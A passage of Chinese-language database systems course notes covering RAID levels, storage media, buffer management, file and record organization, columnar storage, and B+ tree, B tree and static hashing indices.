- 工作原理:使用块交错奇偶校验。数据块和奇偶校验块分布在不同的磁盘上。
- 优点:提供数据冗余和错误校正能力,但奇偶校验磁盘可能成为瓶颈。
RAID Level 5¶
-
块交错分布式奇偶校验 :
- 数据和奇偶校验分布在所有N+1个磁盘上。
- 提供比RAID 4更高的I/O速率。
- 避免了奇偶校验磁盘的瓶颈。
-
工作原理 :使用块交错分布式奇偶校验。数据和奇偶校验分布在所有磁盘上,避免了单一奇偶校验磁盘的瓶颈。
- 优点 :提供高I/O速率和数据冗余,适用于大多数应用。
RAID Level 6¶
- P+Q冗余方案:
- 类似于RAID 5,但存储额外的冗余信息以防止多重磁盘故障。
- 提供比RAID 5更好的可靠性,但成本更高。
- 工作原理:使用P+Q冗余方案,类似于RAID 5,但增加了额外的冗余信息以防止多重磁盘故障。
- 优点:提供更高的可靠性,适用于需要极高数据安全性的应用。
Choosing RAID Levels
选择RAID级别的因素
- 成本 :考虑经济成本。
- 性能 :每秒I/O操作次数和正常操作期间的带宽。
- 故障期间的性能 :在磁盘故障期间的性能表现。
- 故障磁盘重建期间的性能 :包括重建故障磁盘所需的时间。
RAID级别的使用建议
- RAID 0 :仅在数据安全性不重要时使用,例如数据可以从其他来源快速恢复。
- RAID 1和5 :主要竞争者。
- RAID 1 :提供更好的写入性能,适用于高更新率环境,如日志磁盘。
- RAID 5 :适用于低更新率和大数据量的应用。
不常用的RAID级别
- RAID 2和4 :不再使用,因为被RAID 3和5取代。
- RAID 3 :由于比特级条带化需要单块读取所有磁盘,浪费磁盘臂移动,已不再使用。
- RAID 6 :由于RAID 1和5提供了足够的安全性,RAID 6使用较少。
其他注意事项
- RAID 1 :尽管存储成本较高,但随着磁盘容量的快速增长,成本影响减小。
- RAID 5 :需要至少2次块读取和2次块写入来写入单个块,而RAID 1只需2次块写入。
Hardware¶
软件RAID¶
- 定义 :完全通过软件实现的RAID,不需要特殊的硬件支持。
硬件RAID¶
- 定义 :使用特殊硬件实现的RAID。
-
特点 :
-
使用非易失性RAM记录正在执行的写操作。
- 注意:写入期间的电源故障可能导致磁盘损坏。
- 例如,在写入一个块后但在镜像系统中写入第二个块之前发生故障。
- 这种损坏的数据必须在恢复电源时检测到。
- 从损坏中恢复类似于从故障磁盘中恢复。
- NV-RAM有助于有效检测潜在的损坏块。
- 否则,必须读取磁盘的所有块并与镜像/奇偶校验块进行比较。
RAID 问题¶
潜在故障¶
Latent failure
- 定义 :先前成功写入的数据被损坏。
- 影响 :即使只有一个磁盘故障,也可能导致数据丢失。
数据清理¶
Data scrubbing
- 定义 :持续扫描潜在故障,并从副本/奇偶校验中恢复。
热插拔¶
Hot swap
- 定义 :在系统运行时更换磁盘,无需断电。
- 支持 :由某些硬件RAID系统支持。
- 优点 :减少恢复时间,大大提高可用性。
备用磁盘¶
Spare disk
- 定义 :许多系统维护备用磁盘,在线保持,并在检测到故障时立即用作故障磁盘的替代品。
- 优点 :大大减少恢复时间。
硬件RAID系统的可靠性¶
Reliability of hardware RAID systems
- 特点 :确保单点故障不会停止系统功能。
- 方法 :
- 使用带电池备份的冗余电源。
- 使用多个控制器和多重互连以防止控制器/互连故障。
Optical Disk
- 只读光盘 (CD-ROM,Compact Disc Read Only Memory)
- 特点:
- 可移动光盘,每张容量640 MB。
- 寻道时间约为100毫秒(光学读头较重且较慢)。
- 较高的延迟(3000 RPM)和较低的数据传输速率(3-6 MB/s),相比磁盘。
- 特点:
- 数字视频光盘 (DVD,Digital Versatile Disc)
- DVD-5:容量4.7 GB,DVD-9:容量8.5 GB。
- DVD-10和DVD-18:双面格式,容量分别为9.4 GB和17 GB。
- 蓝光DVD:27 GB(双面光盘为54 GB)。
- 寻道时间较慢,原因与CD-ROM相同。
- 一次写入版本 (CD-R和DVD-R)
- 特点:
- 数据只能写入一次,不能擦除。
- 高容量和长寿命;用于档案存储。
- 特点:
- 多次写入版本(CD-RW、DVD-RW、DVD+RW和DVD-RAM)也可用。
Magnetic Tape
-
大容量和高传输速率:
-
DAT(数字音频磁带)格式容量为几GB,DLT(数字线性磁带)格式容量为10-40 GB,Ultrium格式容量超过100 GB,Ampex格式容量为330 GB。
-
传输速率从几MB/s到几十MB/s。
-
磁带便宜,但驱动器成本很高。
-
访问时间非常慢,与磁盘和光盘相比:
-
仅限于顺序访问。
-
一些格式(如Accelis)提供更快的寻道(几十秒),但容量较低。
-
主要用于备份,存储不常用的信息,以及作为离线介质在系统之间传输信息。
-
磁带自动机用于超大容量存储:
-
多个PB(\(10^{15}\)字节)。
Storage Access¶
数据库文件被逻辑上划分为固定长度的存储单元,称为块(blocks);块是数据库系统中存储分配和数据传输的单位。
缓冲区(Buffer)
- 定义:主存中可用来存储磁盘块副本的部分。
- 目标:数据库系统旨在最小化磁盘和内存之间的块传输次数。
- 减少磁盘访问次数:通过在主存中保留尽可能多的块来实现——即缓冲区。
- 限制:缓冲区的大小是有限的。
缓冲区管理器(Buffer Manager)
- 职责:负责在主存中分配缓冲区空间的子系统。
缓冲池(Buffer Pool):
- 位于主存中,用于存储磁盘页的副本。
- 黑色方块表示已占用的磁盘页,白色方块表示空闲帧。
页面请求:
- 来自更高层次的请求需要访问数据。
- 数据必须在RAM中才能被DBMS操作。
磁盘(Disk)和数据库(DB):
- 数据库文件存储在磁盘上。
- 数据从磁盘加载到缓冲池中。
帧选择:
- 由替换策略决定哪个帧用于存储新加载的页面。
帧和页的关系:
- 页(Page):数据的单位。
- 块(Block):磁盘空间的单位。
- 帧(Frame):缓冲池的单位。
- 实际上,块和页不完全相同。
维护表:
- 维护一个
<frame#, pageid>对的表,用于跟踪缓冲池中的数据。
Buffer Management¶
请求块:
- 应用程序需要从磁盘获取块时,会调用缓冲管理器。
检查缓冲区:
- 如果块已在缓冲区中:
- 请求程序获得块在主存中的地址。
- 如果块不在缓冲区中:
- 缓冲管理器在缓冲区中为块分配空间。
- 如果没有空闲空间,则替换(丢弃)一些旧页。
写回磁盘:
- 被丢弃的块如果被修改过,则写回磁盘。
读取新块:
- 一旦在缓冲区中分配了空间,缓冲管理器从磁盘读取块到缓冲区,并将块在主存中的地址传递给请求者。
替换策略:
- 使用LRU(最近最少使用)或MRU(最近最多使用)策略。
固定块(Pinned Block):
- 被固定的块不允许写回磁盘,直到使用结束。
立即丢弃策略:
- 块的最后一个元组处理完后,立即释放空间。
强制输出: - 请求者必须解锁块,并指示页面是否被修改。 - 使用“脏位”标识修改。
页面请求:
- 缓冲池中的页面可能被多次请求。
- 使用固定计数(Pin Count),只有当固定计数为0时,页面才是替换的候选。
Buffer-replacement Policies¶
- LRU策略(最近最少使用策略) :
- 原理 :替换最近最少使用的块。
- 思路 :使用过去的块引用模式作为未来引用的预测。
- 优点 :适用于有明确访问模式的查询。
- 缺点 :对于涉及重复扫描数据的查询,LRU可能表现不佳。
设 M = 5 (buffer has 5 blocks), 1 for borrower, 3 for customer, 1 for out 对customer, LRU的块可能是下面快要用的块(循环),而最近刚用过的块则暂时不用,当空间不够时倒是可以将其覆盖的, 故LRU策略不佳。
-
MRU策略(最近最常用策略) :
- 原理 :系统固定当前正在处理的块。
- 过程 :块的最后一个元组处理完后,块被解锁,成为最常用的块。
- 优点 :适用于某些特定的访问模式。
-
统计信息 :
- 缓冲管理器可以维护统计信息,以提高请求引用特定关系的概率。
- 例如,数据字典通常被频繁访问。
-
强制输出 :
- 缓冲管理器支持块的强制输出,以便进行恢复。
-
混合策略 :
- 与查询优化器提供的替换策略结合使用。
File Organization¶
The database is stored as a collection of files.
- Each file is a sequence of records.
- A record is a sequence of fields.
- Two kinds of record:
- Fixed-length records.
- Variable-length records.
Fixed-length Records¶
- 优势:方法简单:
- 记录 \(i\) 从字节 \(n \times (i - 1)\) 开始存储,其中 \(n\) 是每个记录的大小。
- 记录访问简单,但记录可能会跨越块。
修改:
- 不允许记录跨越块边界。
删除记录 \(i\) 的方法:
- 方法1 :将记录 \(i+1\) 到 \(n\) 向前移动。
- 方法2 :将记录 \(n\) 移动到位置 \(i\)。
- 方法3 :不移动记录,而是将所有空闲记录链接到一个空闲列表(free list)中。
Free Lists¶
空闲列表(Free List)
- 存储地址:在文件头中存储第一个被删除记录的地址。
- 链接记录:使用第一个被删除的记录来存储第二个被删除记录的地址,依此类推。
- 指针概念:这些存储的地址可以视为指针,因为它们“指向”记录的位置。
- 优势
- 空间效率:更高效的空间表示。
- 重新利用空闲记录的正常属性空间来存储指针。
- 使用中的记录中不存储指针。
- 空闲列表通过链接被删除的记录,优化了存储空间的使用和管理。
Variable-length Records¶
出现方式:
- 文件中存储多种记录类型。
- 允许一个或多个字段具有可变长度的记录类型(如字符串)。
- 允许重复字段的记录类型(用于一些旧的数据模型)。
属性存储:
- 按顺序存储。
- 可变长度属性用固定大小(偏移量、长度)表示,实际数据存储在所有定长属性之后。
- 空值用空值位图表示。
Slotted Page Structure¶
结构组成
-
块头(Block Header):
- 包含有关页面的元数据
- 存储记录条目数量
- 标记空闲空间的结束位置
- 包含每条记录的位置和大小信息
-
槽(Slot):
- 页头中的一个条目
- 包含两个关键信息:
- 记录长度(记录大小)
- 记录指针(指向实际记录的位置)
- 槽的标识形式为:rid =
<slot# pid>(记录ID由槽号和页ID组成)
-
记录区域:
- 实际存储数据记录的区域
- 记录从页面尾部开始向前存储(
#1, #2, #3, #4) - 中间可能有空闲空间
工作原理
- 当需要访问记录时,系统首先查找页头中的相应槽
- 通过槽中的指针找到实际记录位置
- 记录可以在页面内移动,以保持数据连续性(没有空隙)
- 移动记录后,只需更新页头中的槽信息,而不需要更新外部指针
- 指针不应直接指向记录,而应指向头中的记录条目(间接指针)。
Representation¶
保留空间(Reserved Space)¶
原理
- 使用已知最大长度的定长记录
- 为每条记录分配固定大小的空间
- 较短记录中的未使用空间用空值或记录结束符填充
特点
- 简单性:实现和管理简单直接
- 预测性:记录位置可以通过简单公式计算
- 存取效率:随机访问速度快,无需额外索引
- 空间浪费:短记录会造成空间浪费
- 限制性:对超过预定最大长度的记录无法处理
应用场景
- 记录长度变化不大的数据
- 对随机访问性能要求高的应用
- 简单数据结构的存储
指针(Pointers)¶
原理
- 使用指针指向实际数据的位置
- 可以是直接指针(指向实际数据)或间接指针(指向中间结构)
特点
- 灵活性:支持任意长度的记录
- 空间效率:可以减少空间浪费
- 复杂性:实现和管理相对复杂
- 性能开销:访问数据需要额外的指针解析步骤
应用场景
- 记录长度差异大的数据
- 存储大型对象或文档
- 需要灵活空间管理的应用
空间浪费:除了链中的第一条记录外,所有记录中都有浪费的空间(用于分支名称),这意味着在溢出链中的记录结构可能包含未使用的字段,造成存储效率降低
解决方案:
通过在文件中使用两种不同类型的块:
-
锚块(Anchor Block,锚块):
- 包含链中的第一条记录
- 这些记录需要存储完整信息,包括分支名称等所有字段
- 通常是哈希表的主要存储区域
-
溢出块(Overflow Block,溢出块):
- 包含除链中第一条记录以外的其他记录
- 这些记录可以使用更紧凑的结构,省略不必要的字段
- 专门设计用于存储冲突记录
溢出记录不再需要存储冗余信息,结构优化:可以为不同用途的记录设计专门的结构,性能提升:更紧凑的记录意味着每个块可以存储更多记录,减少I/O操作
两种方法的比较
| 特性 | 保留空间 | 指针 |
|---|---|---|
| 实现复杂度 | 低 | 中到高 |
| 空间利用率 | 低到中 | 中到高 |
| 访问速度 | 快 | 较慢(需解析指针) |
| 记录长度灵活性 | 有限 | 高 |
| 更新操作效率 | 高(原地更新) | 可能需要重定位 |
保留空间方法更适合记录长度相对固定且对访问速度要求高的场景,而指针方法则更适合处理变长记录和需要高空间利用率的情况。
Organization of Records in Files¶
-
Heap file (堆文件, 流水文件):a record can be placed anywhere in the file where there is space,有空间就可以放
-
Sequential file (顺序文件):store records in sequential order, based on the value of a search key of each record ,根据搜索键的值存储记录
-
Hashing file (散列文件):a hash function computed on some attribute of each record; the result specifies in which block of the file the record should be placed ,根据每个记录的某个属性计算散列值,结果指定记录应该存储在文件的哪个块中
-
Clustering file organization (聚集文件组织):records of several different relations can be stored in the same file ,几个不同的关系的记录可以存储在同一个文件中
Motivation: store related records in different relations on the same block to minimize I/O ,在同一个块中存储相关记录以最小化I/O操作
Sequential File Organization¶
- 适用于:需要对整个文件进行顺序处理的应用
- 数据排序:文件中的记录按搜索键排序(如图中按账号-分支名排序)
- 唯一性:一个顺序文件只有一个搜索键
- 操作机制
- 删除操作 使用指针链(pointer chains)处理删除 被删除的记录位置可通过指针链接起来形成空闲列表
- 插入操作
需要找到记录应该插入的正确位置(保持排序顺序)
插入策略:
- 如果插入位置有空闲空间,直接插入
- 如果没有空闲空间,将记录插入溢出块
-
在任何情况下,都需要更新指针链
-
文件重组:随着插入和删除操作的频繁进行,文件的顺序性会下降;需要定期重新组织文件以恢复顺序 重组过程消耗资源,但能提高后续访问效率
Multitable Clustering¶
多关系存储:
- 在一个文件中存储多个关系表(如图中的department和instructor表)
- 数据按照关系间的连接属性进行排序和组织
物理布局:
- 首先是逻辑表视图:department表和instructor表分别展示
- 然后是物理存储视图:department和instructor记录交错存储,按关系聚类
聚类方式:
- 相关记录物理上相邻(如Comp.Sci.部门记录后紧跟该部门的所有教师记录)
- 每个部门的记录块后面是属于该部门的所有教师记录
优缺点:
-
优点
- 适合联合查询:
- 对涉及department和instructor的连接查询效率高
- 对查询单个部门及其所有教师的操作性能好
- 减少磁盘I/O,因为相关数据物理上相近
- 可扩展性:
- 支持可变大小的记录
- 适合联合查询:
-
缺点
- 单表查询劣势:
- 对仅涉及department表的查询效率低,可以添加指针链来链接特定关系的记录
- 必须扫描整个文件来定位所有部门记录
- 复杂度:
- 插入和删除操作复杂
- 单表查询劣势:
添加指针连接department关系,这样可优化对于department表的查询
维护聚类结构需要额外开销
Data-Dictionary Storage¶
Data dictionary (also called system catalog) stores metadata: that is, data about data, such as:
-
Information about relations
- Names of relations
- Names and types of attributes of each relation
- Names and definitions of views
- Integrity constraints
-
User and accounting information, including passwords
-
Statistical and descriptive data
- Number of tuples in each relation
-
Physical file organization information
- How relation is stored (sequential/hash/...)
- Physical location of relation
- Operating system file name or
- Disk addresses of blocks containing records of the relation
- Information about indices
Relational Representation of System Metadata¶
- 关系表示法:
- 关系表示法是一种用于存储和管理元数据的结构化方式
- 关系表示法将元数据存储在关系数据库中,每个关系表示一个元数据实体
- 关系表示法可以方便地进行查询和更新
Column-Oriented Storage¶
列式存储,也称为列式表示(columnar representation),是一种数据库表的物理存储方法,与传统的行式存储截然不同。
基本概念
- 核心思想:分别存储关系表的每个属性(列)
- 存储方式:相同列的数据被连续存储在一起,而不是将一行数据存储在一起
图中示例展示了一个表格,分为四列(可能是员工ID、姓名、部门和薪资):
- 每一列单独存储(如ID列:10101, 12121, 15151...)
- 姓名列单独存储(Srinivasan, Wu, Mozart...)
- 部门列单独存储(Comp. Sci., Finance, Music...)
- 薪资列单独存储(65000, 90000, 40000...)
列式存储的优势
- 减少I/O量:
- 当查询只需访问少量列时,可以只读取需要的列
- 避免读取不需要的数据,显著减少I/O操作
- 改善CPU缓存性能:
- 同质数据连续存储增强数据局部性
- 更好地利用CPU缓存,减少缓存未命中
- 更好的压缩效率:
- 同一列的数据通常具有相似性,压缩效率更高
- 可以应用专门针对列数据特性的压缩算法
- 支持向量处理:
- 适合现代CPU架构的SIMD(单指令多数据)操作
- 能同时对多个数据元素进行相同操作
列式存储的缺点
- 元组重构成本:
- 需要从多个列中重新组合数据以重建完整行
- 增加查询处理复杂性
- 更新和删除操作成本:
- 修改一行数据需要修改多个不同的存储位置
- 使更新操作更加复杂
- 解压缩成本:
- 访问压缩数据需要额外的解压缩步骤
应用场景
- 决策支持系统:列式存储被证明比行式存储更高效
- 事务处理:传统行式存储更适合
- 混合系统:一些数据库支持混合行列存储,称为混合行/列存储
- 列式存储特别适合分析型工作负载(OLAP),如数据仓库和商业智能应用,这些应用通常只需访问少量列但需要处理大量行数据。
Representation¶
ORC和Parquet:两种流行的列式存储文件格式,这些格式在文件内部采用列式存储方式
图中展示了ORC文件格式的结构
应用场景:
- 非常适合大数据应用
- 被广泛应用于数据仓库和分析系统
ORC文件结构:
- 文件分条带(Stripe):整个文件被分为多个条带(Stripe 1, Stripe 2, ..., Stripe n)
- 每个条带包含:
- 索引数据(Index Data):存储每列的统计信息和位置信息
- 行数据(Row Data):按列组织的实际数据
- 条带页脚(Stripe Footer):包含条带的元数据
内部组织:
- 每列数据单独存储(Col1, Col2, Col3等)
- 数据分为索引部分(Col1 Index, Col2 Index等)和数据部分(Col1 Data, Col2 Data等)
- 最下方有文件页脚(File Footer),包含整个文件的元数据
Indexing and Hashing¶
约 6598 个字 28 行代码 20 张图片 预计阅读时间 23 分钟
索引的结构一般由搜索键(search key)和指针(pointer)组成
Ordered indices¶
在有序索引中,索引条目按照搜索键值进行排序存储,例如图书馆中的作者目录。
-
顺序排序文件(Sequentially ordered file) : 文件(数据文件)中的记录按搜索键排序。
-
主索引(Primary index) : 搜索键与顺序排序数据文件的搜索键相等的索引。(与对应的数据文件本身的排列顺序相同的索引称为主索引)
- 也称为聚集索引(clustering index)
- 主索引的搜索键通常是但并非一定是主码(primary key)
-
非顺序文件没有主索引,但关系可以有主键
-
索引顺序文件(Index-sequential file) : 带有主索引的顺序排序文件
-
辅助索引(Secondary index) : 搜索键与顺序排序数据文件的搜索键不相等的索引。Also called non-clustering index
例如,在以书号为搜索键的索引中,书名和作者名是辅助索引
Dense Index¶
- 索引文件中的每个搜索键值都对应一个索引条目
Sparse Index¶
- 稀疏索引仅包含部分搜索键值的索引条目。通常,一个数据块对应一个索引条目,一个块包含多个有序的数据记录。
稀疏索引仅适用于数据文件记录按搜索键顺序排列的情况。
要定位搜索键值为 K 的记录,搜索方法如下:
-
找到索引记录中小于 K 的最大搜索键值。
-
从索引条目指向的记录开始,顺序搜索文件。
Note
Sparse index 智能用于顺序的文件,而dense index则可以用于顺序和非顺序文件
Secondary Index¶
- 辅助索引(Secondary Index) : 在实际应用中,常常需要查找某个字段中满足特定条件的所有记录,而该字段并不是主索引的搜索键。
- 例如:在按账户号码顺序存储的账户数据库中,我们可能希望查找所有余额为指定值或在某个范围内的账户。
- 我们可以为每个搜索键值创建一个辅助索引,索引记录指向一个桶(Bucket),该桶包含指向所有具有该特定搜索键值的实际记录的指针。
Multilevel Index¶
- 多级索引(Multilevel Index) : 当主索引过大而无法放入内存时,访问变得昂贵。
- 例如:1,000,000 条记录 / 每块 10 条记录 = 100,000 块 = 100,000 个索引条目,(稀疏索引) / 每块 100 个条目 = 1000 块 (稀疏索引文件的大小)。
- 二分查找: 「log2(1000)」= 9 次块读取,10*15ms = 150ms。
- 为了减少对索引记录的磁盘访问次数,将磁盘上的主索引视为顺序文件,并在其上构建稀疏索引。
- 外层索引 – 主索引的稀疏索引。
- 内层索引 – 主索引文件。
- 如果即使是外层索引也太大而无法放入主存,则可以创建另一个级别的索引,依此类推。(可以推广到任意多层索引)
- 在文件中插入或删除时,所有级别的索引都必须更新。
多级索引也可以用于聚集索引和非聚集索引;
Deletion of index¶
在数据库中删除记录时,索引文件也需要相应更新。以下是单级索引删除的步骤:
步骤1:系统在数据文件中找到记录,然后删除该记录。
步骤2:更新索引文件:
-
情况1:密集索引 (Dense indices)
-
如果被删除的记录是其特定搜索键值的唯一记录,则从索引文件中删除相应的索引条目。(单记录,即search-key有唯一性)
-
否则,(多条记录,即search-key无唯一性)
-
如果有多个指针指向具有相同搜索键值的所有记录,则从索引条目中删除指向被删除记录的指针。(对应辅助索引的情况)
-
否则,(对应主索引)
-
如果被删除的记录是第一个被指向的记录,则将指针更改为下一条记录。
-
否则,不需要对索引条目进行任何操作。
-
-
情况2:稀疏索引 (Sparse indices)
-
如果被删除记录的搜索键值未出现在索引中,则不需要对索引进行任何操作。
-
否则,如果索引文件中存在该搜索键的索引条目,则通过用数据文件中的下一个搜索键值(按搜索键顺序)替换该条目来删除它。
-
如果下一个搜索键值已经有索引条目,则删除索引条目而不是替换。
对于多级索引:由底层逐级向上层扩展,每一层的处理过程与上述单层索引情况下类似。
Insertion of index¶
在数据库中插入记录时,索引文件也需要相应更新。以下是单级索引插入的步骤:
步骤1:利用索引找到插入位置,在数据文件中插入记录。
步骤2:更新索引文件:
-
情况1:密集索引 (Dense indices)
-
如果搜索键值未出现在索引中,则插入一个包含该搜索键值的索引条目。
-
否则,
-
如果有多个指针指向具有相同搜索键值的所有记录,则在索引条目中添加一个指向新记录的指针。
-
否则,不需要对索引条目进行任何操作。
-
-
情况2:稀疏索引 (Sparse indices)
-
如果创建了一个新块,则将新块中出现的第一个搜索键值插入到索引中。
-
如果新记录在其块中具有最小的搜索键值,则更新索引条目。
-
否则,不需要对索引进行任何更改。
对于多级索引:由底层逐级向上层扩展,每一层的处理过程与上述单层索引情况下类似。
Summary
索引在搜索记录时提供了显著的优势。
但是:更新索引会在数据库修改时带来额外的开销——当文件被修改时,文件上的每个索引都必须更新。
使用主索引的顺序扫描是高效的,但使用辅助索引的顺序扫描则代价高昂。每次记录访问可能会从磁盘中获取一个新块。块的获取大约需要5到10毫秒,而内存访问大约需要100纳秒。
B + Tree indices¶
B+树索引的优缺点
索引顺序文件的缺点:
- 随着文件的增长,性能会下降,因为会创建许多溢出块。
- 需要定期重组整个文件。
B+树索引文件的优点:
- 在插入和删除时,能够通过小的局部变化自动重组自身。
- 不需要重组整个文件来维持性能。
B+树的(次要)缺点:
- 额外的插入和删除开销;空间开销。
B+树的优点超过了缺点
- B+树被广泛使用。
Basic Structure¶
B+树
B+树是一种平衡树,我们说B+树是m阶的,如果其具有以下特性:
- 每个节点最多有\(m\)个子节点。
- 除根节点外,每个非叶子节点至少有\(\lceil m/2 \rceil\)个子节点。
-
根节点至少有两个子节点(除非它是叶子节点)。
-
每个非叶子节点最多有\(m-1\)个搜索键值。
-
每个非叶子节点至少有\(\lceil m/2 \rceil - 1\)个搜索键值。
-
叶子节点的值个数在\(\lceil m/2 \rceil - 1\)和\(m-1\)之间。
-
所有叶子节点在同一层。
-
如果根节点是叶子节点(即树中没有其他节点),它可以有0到\(m-1\)个值。
其中:
- \(K_i\) 是搜索键值
- \(P_i\) 是子节点指针
一般而言
B+树叶子节点的特性
在B+树中,对于\(i = 1, 2, \ldots, n-1\),指针\(P_i\)要么指向具有搜索键值\(K_i\)的文件记录,要么指向一个指向文件记录的指针桶,每个记录都有搜索键值\(K_i\)。只有当搜索键不构成主键时才需要指针桶。(类似于密集索引,每个搜索键出现在叶节点中)
如果\(L_i, L_j\)是叶节点且\(i < j\),则\(L_i\)中的所有搜索键值都小于\(L_j\)的搜索键值。(叶节点间的搜索键不重叠,且所有左节点中的搜索键值一定小于右节点中的搜索键值)
必须有\(\lceil (n-1)/2 \rceil\)到\(n-1\)个搜索键。当\(n = 5\)时,搜索键的数量满足\(2 \leqslant \text{搜索键数量} \leqslant 4\)。
指针\(P_n\)指向按搜索键顺序的下一个叶节点,这对于文件的顺序处理非常方便。
B+树非叶节点的特性
非叶节点的指针(子树)数量在\(\lceil n/2 \rceil\)和\(n\)之间。扇出数(Fanout)即为节点中的指针数量。非叶节点在叶节点上形成一个多级稀疏索引。对于一个具有\(m\)个指针的非叶节点:
- \(P_1\)所指的子树中的所有搜索键值都小于\(K_1\)。
- 对于\(2 \leqslant i \leqslant n - 1\),\(P_i\)所指的子树中的所有搜索键值都大于或等于\(K_{i-1}\)且小于\(K_i\)。
- \(P_n\)所指的子树中的所有搜索键值都大于或等于\(K_{n-1}\)。
可以理解为\(P_i\) 和 \(K_{i-1}\) 是一对(从后往前看),指向的是以\(K_{i-1}\)为第一个搜索键值的节点;
B+树的优势
由于节点间的连接是通过指针完成的,因此"逻辑上"相近的块不需要"物理上"相近。B+树的非叶节点层级构成了一个稀疏索引的层次结构。B+树包含的层级数量相对较少(与主文件的大小呈对数关系),因此可以高效地进行搜索。对主文件的插入和删除操作可以高效地处理,因为索引可以在对数时间内重构。
Queries¶
Find record with search-key value V.
C = root
While C is not a leaf node {
Let i be the least value such that V ≤ Ki.
If no such i exists, set C to the last non-null pointer in C
Else {
if (V = Ki) set C = Pi + 1
else set C = Pi
}
}
Let i be the least value such that Ki = V
If there is such a value i, follow pointer Pi to the desired record.
Else no record with search-key value V exists.
B+树的性能分析
如果文件中有\(K\)个搜索键值,树的高度不超过\(\lceil \log_{\lceil n/2 \rceil}(K) \rceil\)。一个节点通常与磁盘块大小相同,通常为4千字节,而\(n\)通常约为100(每个索引条目40字节)。对于100万个搜索键值且\(n = 100\),在查找中最多访问\(\log_{50}(1,000,000) = 4\)个节点。相比之下,具有100万个搜索键值的平衡二叉树在查找中大约需要访问20个节点。上述差异是显著的,因为每次节点访问可能需要一次磁盘I/O,耗时约20毫秒。
在B+树中处理重复的搜索键值需要特殊的机制:
- 重复搜索键的存在位置:
-
在叶节点和内部节点中都可能有重复的搜索键
-
重复键的性质:
- 我们不能保证 \(K_1 < K_2 < K_3 < \cdots < K_{n-1}\)
-
但可以保证 \(K_1 \leq K_2 \leq K_3 \leq \cdots \leq K_{n-1}\)
-
搜索键在子树中的分布:
-
搜索键在子树中的分布必须满足:
- 搜索键值 \(\leq K_i\),但不一定小于 \(K_i\)
- 若要查看某个搜索键值 \(V\) 是否在两个叶节点 \(L_i\) 和 \(L_{i+1}\) 中存在,则在父节点 \(K\) 中必须等于 \(V\)
-
查找过程修改:
-
我们需要修改查找过程如下:
- 遍历指针 \(P_i\),即使当 \(V = K_i\) 时
- 当我们到达叶节点 \(C\) 时,检查 \(C\) 是否只有小于 \(V\) 的搜索键值
- 如果是,在检查 \(C\) 是否包含 \(V\) 之前,将 \(C\) 设置为 \(C\) 的右兄弟节点
-
printAll过程:
- 使用修改后的查找过程来找到 \(V\) 的第一次出现
- 遍历连续的叶节点以找到 \(V\) 的所有出现
Insertion¶
-
找到叶节点:找到搜索键值将出现的叶节点。
-
检查键值是否存在:
- 如果搜索键值已经存在于叶节点中:
- 将记录添加到文件中。
- 如果需要,添加指向桶的指针。
- 如果搜索键值已经存在于叶节点中:
-
键值不存在:
- 将记录添加到主文件中(如果需要,创建一个桶)。
- 如果叶节点中有空间,插入(键值,指针)对到叶节点中。
- 否则,分裂节点(包括新插入的(键值,指针)条目),具体步骤如下:
-
分裂叶节点:
- 将n个(搜索键值,指针)对(包括正在插入的那个)按顺序排列。
- 将前⎡n/2⎤个放入原节点,其余的放入新节点。
- 设新节点为p,设k为p中最小的键值。在被分裂节点的父节点中插入(k,p)。
- 如果父节点已满,分裂它并将分裂向上传播。
-
节点分裂向上传播:
- 分裂节点的过程向上进行,直到找到一个未满的节点。
- 在最坏的情况下,根节点可能会被分裂,从而增加树的高度1。
Deletion¶
-
找到要删除的记录:
- 在主文件中找到要删除的记录,并将其删除。
- 如果存在桶,则从桶中删除记录。
-
从叶节点中删除:
- 如果没有桶或桶已空,从叶节点中删除(搜索键值,指针)。
-
节点合并:
- 如果由于删除导致节点条目过少,并且节点与其兄弟节点的条目可以合并成一个节点,则合并兄弟节点:
- 将两个节点中的所有搜索键值插入到一个节点(左侧节点)中,并删除另一个节点。
- 从其父节点中删除(Ki–1, Pi),其中Pi是指向被删除节点的指针,递归使用上述过程。
-
指针重新分配:
- 如果由于删除导致节点条目过少,但节点与其兄弟节点的条目不能合并成一个节点,则重新分配指针:
- 在节点与其兄弟节点之间重新分配指针,使得两者都有超过最小数量的条目。
- 更新节点父节点中的相应搜索键值。
-
级联删除:
- 节点删除可能会向上级联,直到找到一个有⎡n/2⎤或更多指针的节点。
-
根节点处理:
- 如果删除后根节点只有一个指针,则删除根节点,唯一的子节点成为新的根节点。
B Tree indices¶
B树与B+树相似,但B树允许搜索键值只出现一次,从而消除了搜索键的冗余存储。在B树中,非叶节点中的搜索键不会出现在其他地方;因此,每个非叶节点中的搜索键必须包含一个额外的指针字段。
在B树中,所有节点都是广义的叶节点。
- 非叶节点:指针Bi指向桶或文件记录。
即B树的非叶节点与B+树的非叶节点类似,但B树的非叶节点中包含搜索键值,而B+树的非叶节点中不包含搜索键值。
B树索引的优点:
- 可能使用比对应的B+树更少的树节点(因为没有重复)。
- 有时可以在到达叶节点之前找到搜索键值。
B树索引的缺点:
- 只有一小部分搜索键值可以提前找到。
- 非叶节点较大,因此扇出减少。因此,B树通常比对应的B+树具有更大的深度。
- 插入和删除比在B+树中更复杂。
- 实现比B+树更困难。
通常情况下,B树的优点并不超过其缺点,B+树更受欢迎。
Static Hashing¶
静态哈希是一种哈希文件组织方法,其中桶的数量在创建时是固定的,并且不会随着数据的增加而改变。
-
桶(Bucket):桶是一个存储单元,包含一个或多个记录(桶通常是一个磁盘块)。
-
哈希函数:在哈希文件组织中,我们使用哈希函数直接从记录的搜索键值获取桶。哈希函数h是从所有搜索键值集合K到所有桶地址集合B的一个函数。
-
记录定位:哈希函数用于定位记录以进行访问、插入以及删除。
-
冲突处理:具有不同搜索键值的记录可能会映射到同一个桶,因此必须顺序搜索整个桶以定位记录。
静态哈希的优点是简单且易于实现,但其缺点是当数据量增加时,可能会导致桶的溢出,从而需要额外的溢出处理机制。
哈希函数的特性
最差的哈希函数会将所有搜索键值映射到同一个桶中,这使得访问时间与文件中搜索键值的数量成正比。
理想的哈希函数是均匀的,即每个桶被分配到相同数量的搜索键值,这样可以确保每个桶中记录的数量相同,不受文件中搜索键值实际分布的影响。
典型的哈希函数会对搜索键的内部二进制表示进行计算。例如,对于一个字符串类型的搜索键,可以将字符串中所有字符的二进制表示相加,然后对桶的数量取模,返回结果。
这种方法确保了哈希函数的随机性,使得每个桶中分配的记录数量相对均匀,从而提高了哈希表的访问效率。
Overflows¶
桶溢出可能发生在以下几种情况下:
- 桶数量不足:当桶的数量不足以容纳所有记录时,可能会导致桶溢出。
- 记录分布不均:这可能由于以下两个原因导致:
- 多个记录具有相同的搜索键值。
